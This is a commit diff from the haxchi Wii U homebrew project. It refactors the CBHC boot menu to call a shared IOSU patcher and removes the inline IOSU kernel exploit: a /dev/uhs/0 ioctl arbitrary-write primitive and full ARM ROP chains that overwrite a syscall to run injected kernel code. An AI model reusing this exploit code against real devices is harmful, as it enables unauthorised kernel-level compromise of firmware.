mirror of
https://github.com/wiiu-env/haxchi.git
synced 2024-11-16 13:19:16 +01:00
-use same iosu patcher for both haxchi and cbhc to allow haxchi to benefit from it
-added new config option to haxchi, "sysmenu" which will relaunch you into the system menu with signature, region patches and everything else that cbhc patches -small logic correction in the iosu patcher
This commit is contained in:
FIX94
parent
3b005e9a39
commit
0ad99123db
@ -1,2 +0,0 @@
|
||||
This is a modified version of cfw booter which can be found here:
|
||||
https://github.com/dimok789/cfw_booter
|
||||
@ -54,10 +54,10 @@ zeldaph: setup_zeldaph zeldaph.nds
|
||||
zeldast: setup_zeldast zeldast.nds
|
||||
|
||||
setup:
|
||||
@cd option_select && make && cd ..
|
||||
@cd cbhc_menu && make && cd ..
|
||||
@cd hbl_loader && make && cd ..
|
||||
@cd cfw_booter && make && cd ..
|
||||
@cd CBHC && make && cd ..
|
||||
@cd iosu_patcher && make && cd ..
|
||||
@cd option_select && make && cd ..
|
||||
|
||||
setup_animalcrossing:
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@ -267,8 +267,8 @@ zeldast.zip:
|
||||
|
||||
clean:
|
||||
@rm -f *.bin *.nds ../installer/data/*.zip defines.s
|
||||
@cd option_select && make clean && cd ..
|
||||
@cd cbhc_menu && make clean && cd ..
|
||||
@cd hbl_loader && make clean && cd ..
|
||||
@cd cfw_booter && make clean && cd ..
|
||||
@cd CBHC && make clean && cd ..
|
||||
@cd iosu_patcher && make clean && cd ..
|
||||
@cd option_select && make clean && cd ..
|
||||
@echo "all cleaned up !"
|
||||
|
||||
32
dsrom/cbhc_menu/Makefile
Normal file
32
dsrom/cbhc_menu/Makefile
Normal file
@ -0,0 +1,32 @@
|
||||
PATH := $(DEVKITPPC)/bin:$(PATH)
|
||||
PREFIX ?= powerpc-eabi-
|
||||
CC = $(PREFIX)gcc
|
||||
AS = $(PREFIX)gcc
|
||||
CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include
|
||||
ASFLAGS = -mregnames -x assembler-with-cpp
|
||||
LD = $(PREFIX)ld
|
||||
OBJCOPY = $(PREFIX)objcopy
|
||||
LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc
|
||||
OBJDUMP ?= $(PREFIX)objdump
|
||||
project := .
|
||||
root := $(CURDIR)
|
||||
build := $(root)/bin
|
||||
|
||||
FIRMWARE = 550
|
||||
|
||||
all: clean setup main
|
||||
|
||||
setup:
|
||||
mkdir -p $(root)/bin/
|
||||
|
||||
main:
|
||||
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
$(LD) -o cbhc_menu.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map cbhc_menu.map
|
||||
$(OBJCOPY) cbhc_menu.elf -S -O binary ../cbhc_menu.bin
|
||||
|
||||
clean:
|
||||
rm -rf $(build) payload
|
||||
rm -rf cbhc_menu.elf cbhc_menu.map
|
||||
@ -8,21 +8,8 @@
|
||||
#include "types.h"
|
||||
#include "coreinit.h"
|
||||
#include "pad.h"
|
||||
#include "../global.h"
|
||||
|
||||
#define CHAIN_START 0x1016AD40
|
||||
#define SHUTDOWN 0x1012EE4C
|
||||
#define SIMPLE_RETURN 0x101014E4
|
||||
#define SOURCE 0x01E20000
|
||||
#define IOS_CREATETHREAD 0x1012EABC
|
||||
#define ARM_CODE_BASE 0x08135000
|
||||
#define REPLACE_SYSCALL 0x081298BC
|
||||
|
||||
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
|
||||
#include "payload/arm_kernel_bin.h"
|
||||
#include "payload/arm_user_bin.h"
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle);
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val);
|
||||
static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle);
|
||||
|
||||
#define BUS_SPEED 248625000
|
||||
@ -38,7 +25,7 @@ static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vp
|
||||
#define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"
|
||||
#define SD_MOCHA_PATH "/vol/external01/wiiu/apps/mocha/mocha.elf"
|
||||
|
||||
static const char *verChar = "CBHC v1.4 by FIX94";
|
||||
static const char *verChar = "CBHC v1.4u1 by FIX94";
|
||||
|
||||
#define DEFAULT_DISABLED 0
|
||||
#define DEFAULT_SYSMENU 1
|
||||
@ -63,11 +50,6 @@ static const char *bootOpts[DEFAULT_MAX] = {
|
||||
"fw.img on SD Card",
|
||||
};
|
||||
|
||||
#define LAUNCH_SYSMENU 0
|
||||
#define LAUNCH_HBL 1
|
||||
#define LAUNCH_MOCHA 2
|
||||
#define LAUNCH_CFW_IMG 3
|
||||
|
||||
#define OSScreenEnable(enable) OSScreenEnableEx(0, enable); OSScreenEnableEx(1, enable);
|
||||
#define OSScreenClearBuffer(tmp) OSScreenClearBufferEx(0, tmp); OSScreenClearBufferEx(1, tmp);
|
||||
#define OSScreenPutFont(x, y, buf) OSScreenPutFontEx(0, x, y, buf); OSScreenPutFontEx(1, x, y, buf);
|
||||
@ -413,11 +395,6 @@ doIOSUexploit:
|
||||
OSScreenClearBuffer(0);
|
||||
OSScreenFlipBuffers();
|
||||
|
||||
memcpy((void*)0xF5E70100, &sysmenu, 8);
|
||||
*(volatile unsigned int*)0xF5E70108 = dsvcid;
|
||||
*(volatile unsigned int*)0xF5E7010C = launchmode;
|
||||
DCStoreRange((void*)0xF5E70100, 0x20);
|
||||
|
||||
int (*OSForceFullRelaunch)(void);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
|
||||
|
||||
@ -427,22 +404,16 @@ doIOSUexploit:
|
||||
void(*_SYSLaunchMenuWithCheckingAccount)(unsigned char slot);
|
||||
OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchMenuWithCheckingAccount",&_SYSLaunchMenuWithCheckingAccount);
|
||||
|
||||
int (*IOS_Open)(char *path, unsigned int mode);
|
||||
int (*IOS_Close)(int fd);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
|
||||
//store path to sd fw.img for arm_kernel
|
||||
if(launchmode == LAUNCH_CFW_IMG)
|
||||
{
|
||||
strcpy((void*)0xF5E70000,"/vol/sdcard");
|
||||
DCStoreRange((void*)0xF5E70000,0x100);
|
||||
}
|
||||
|
||||
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node
|
||||
uhs_exploit_init(coreinit_handle); //! Init variables for the exploit
|
||||
|
||||
//!------ROP CHAIN-------
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
||||
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
|
||||
|
||||
IOS_Close(dev_uhs_0_handle);
|
||||
//do iosu patches
|
||||
void (*patch_iosu)(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc) = (void*)0x01804000;
|
||||
patch_iosu(coreinit_handle, sysapp_handle, launchmode, 1);
|
||||
|
||||
if(launchmode == LAUNCH_HBL)
|
||||
{
|
||||
@ -454,6 +425,7 @@ doIOSUexploit:
|
||||
strcpy((void*)0xF5E70000,SD_MOCHA_PATH);
|
||||
return 0x01800000;
|
||||
}
|
||||
|
||||
//sysmenu or cfw
|
||||
if(launchmode == LAUNCH_CFW_IMG)
|
||||
{
|
||||
@ -599,329 +571,3 @@ static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vp
|
||||
|
||||
return btnDown;
|
||||
}
|
||||
|
||||
/* ROP CHAIN STARTS HERE (0x1015BD78) */
|
||||
static const int final_chain[] = {
|
||||
0x101236f3, // 0x00 POP {R1-R7,PC}
|
||||
0x0, // 0x04 arg
|
||||
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
|
||||
0x68, // 0x0C stacksize
|
||||
0x10101638, // 0x10
|
||||
0x0, // 0x14
|
||||
0x0, // 0x18
|
||||
0x0, // 0x1C
|
||||
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x30
|
||||
0x0, // 0x34
|
||||
IOS_CREATETHREAD, // 0x38
|
||||
0x1, // 0x3C
|
||||
0x2, // 0x40
|
||||
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE92D4010, // 0x4C value: PUSH {R4,LR}
|
||||
0x0, // 0x50
|
||||
0x10123a8b, // 0x54 POP {R3,R4,PC}
|
||||
0x1, // 0x58 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x5C
|
||||
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x64
|
||||
0x0, // 0x68
|
||||
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A04000, // 0x80 value: MOV R4, R0
|
||||
0x0, // 0x84
|
||||
0x10123a8b, // 0x88 POP {R3,R4,PC}
|
||||
0x1, // 0x8C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x90
|
||||
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xA4
|
||||
0x0, // 0xA8
|
||||
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
||||
0x0, // 0xB8
|
||||
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
||||
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xC4
|
||||
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0xCC
|
||||
0x0, // 0xD0
|
||||
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xD8
|
||||
0x0, // 0xDC
|
||||
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
||||
0x0, // 0xEC
|
||||
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
||||
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xF8
|
||||
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x100
|
||||
0x0, // 0x104
|
||||
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x10C
|
||||
0x0, // 0x110
|
||||
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A00004, // 0x11C value: MOV R0, R4
|
||||
0x0, // 0x120
|
||||
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
||||
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x12C
|
||||
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x134
|
||||
0x0, // 0x138
|
||||
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x140
|
||||
0x0, // 0x144
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x00000000, // 0x150 value: NOP
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A03004, // 0x184 value: MOV R3, R4
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
||||
0x0, // 0x1BC
|
||||
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
||||
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x1C8
|
||||
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x1D0
|
||||
0x0, // 0x1D4
|
||||
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
||||
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
||||
0x0, // 0x1E0
|
||||
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
ARM_CODE_BASE, // 0x1E8 our code destination address
|
||||
0x0, // 0x1EC
|
||||
0x0, // 0x1F0
|
||||
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x1F8
|
||||
sizeof(arm_kernel_bin), // 0x1FC our code size
|
||||
0x0, // 0x200
|
||||
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
||||
0x01E40000, // 0x208 our code source location
|
||||
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
||||
0x0, // 0x210
|
||||
0x0, // 0x214
|
||||
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
||||
0x0,
|
||||
0x0,
|
||||
0x101312D0,
|
||||
};
|
||||
|
||||
static const int second_chain[] = {
|
||||
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
||||
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
||||
0x0, // 0x08
|
||||
0x0, // 0x0C
|
||||
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
||||
0x01E30000, // 0x14 source
|
||||
sizeof(final_chain), // 0x18 length
|
||||
0x0, // 0x1C
|
||||
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x101236f3, // 0x2C POP {R1-R7,PC}
|
||||
0x0, // 0x30 arg
|
||||
0x101001DC, // 0x34 stackptr
|
||||
0x68, // 0x38 stacksize
|
||||
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x40
|
||||
0x0, // 0x44
|
||||
0x0, // 0x48
|
||||
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x50
|
||||
0x0, // 0x54
|
||||
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x5C
|
||||
0x0, // 0x60
|
||||
IOS_CREATETHREAD, // 0x64
|
||||
0x1, // 0x68 priority
|
||||
0x2, // 0x6C flags
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x7C
|
||||
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
||||
0x0, // 0x84
|
||||
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x00110000 - 0x44, // 0x8C
|
||||
0x00110010, // 0x90
|
||||
0x0, // 0x94
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x0, // 0xA0
|
||||
0x0, // 0xA4
|
||||
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
||||
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x1012EA68, // 0xAC stack pivot
|
||||
};
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle)
|
||||
{
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
|
||||
//! Clear out our used MEM1 area
|
||||
memset((void*)0xF5E00000, 0, 0x00070000);
|
||||
DCStoreRange((void*)0xF5E00000, 0x00070000);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *pretend_root_hub = (int*)0xF5E60640;
|
||||
int *ayylmao = (int*)0xF5E00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[5] = 1;
|
||||
ayylmao[8] = 0x1E00000;
|
||||
|
||||
memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain));
|
||||
memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain));
|
||||
memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin));
|
||||
memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin));
|
||||
|
||||
pretend_root_hub[33] = 0x1E00000;
|
||||
pretend_root_hub[78] = 0;
|
||||
|
||||
//! Store current CPU cache into main memory for IOSU to read
|
||||
DCStoreRange(ayylmao, 0x840);
|
||||
|
||||
DCStoreRange((void*)0xF5E20000, sizeof(second_chain));
|
||||
DCStoreRange((void*)0xF5E30000, sizeof(final_chain));
|
||||
DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin));
|
||||
DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin));
|
||||
|
||||
DCStoreRange(pretend_root_hub, 0x160);
|
||||
}
|
||||
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val)
|
||||
{
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
void (*OSSleepTicks)(uint64_t ticks);
|
||||
int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *ayylmao = (int*)0xF5E00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
||||
DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read
|
||||
OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU
|
||||
//! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640,
|
||||
//! which is the physical address of 0xF5E60640 for us, right at the end of MEM1
|
||||
int request_buffer[] = { -(0xB349B), val };
|
||||
int output_buffer[32];
|
||||
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
||||
}
|
||||
@ -1,44 +0,0 @@
|
||||
PATH := $(DEVKITPPC)/bin:$(PATH)
|
||||
PREFIX ?= powerpc-eabi-
|
||||
CC = $(PREFIX)gcc
|
||||
AS = $(PREFIX)gcc
|
||||
CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin
|
||||
ASFLAGS = -mregnames -x assembler-with-cpp
|
||||
LD = $(PREFIX)ld
|
||||
OBJCOPY = $(PREFIX)objcopy
|
||||
LDFLAGS=-Ttext 180C000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -lgcc
|
||||
OBJDUMP ?= $(PREFIX)objdump
|
||||
project := .
|
||||
root := $(CURDIR)
|
||||
build := $(root)/bin
|
||||
|
||||
FIRMWARE = 550
|
||||
|
||||
all: clean setup main
|
||||
|
||||
$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/arm_user_bin.h
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile
|
||||
@-mkdir -p $(CURDIR)/payload
|
||||
@cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@
|
||||
|
||||
$(CURDIR)/payload/arm_user_bin.h:
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile
|
||||
@-mkdir -p $(CURDIR)/payload
|
||||
@cp -p $(CURDIR)/arm_user/arm_user_bin.h $@
|
||||
|
||||
setup:
|
||||
mkdir -p $(root)/bin/
|
||||
|
||||
main: $(CURDIR)/payload/arm_kernel_bin.h
|
||||
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
$(LD) -o cfw_booter.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map cfw_booter.map
|
||||
$(OBJCOPY) cfw_booter.elf -S -O binary ../cfw_booter.bin
|
||||
|
||||
clean:
|
||||
rm -rf $(build) payload
|
||||
rm -rf cfw_booter.elf cfw_booter.map
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean
|
||||
@ -1,2 +0,0 @@
|
||||
This is a modified version of cfw booter which can be found here:
|
||||
https://github.com/dimok789/cfw_booter
|
||||
@ -1,71 +0,0 @@
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
||||
endif
|
||||
|
||||
CC = arm-none-eabi-gcc
|
||||
# LINK = arm-none-eabi-gcc
|
||||
LINK = arm-none-eabi-ld
|
||||
AS = arm-none-eabi-as
|
||||
OBJCOPY = arm-none-eabi-objcopy
|
||||
CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include
|
||||
LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map
|
||||
|
||||
CFILES = $(wildcard source/*.c)
|
||||
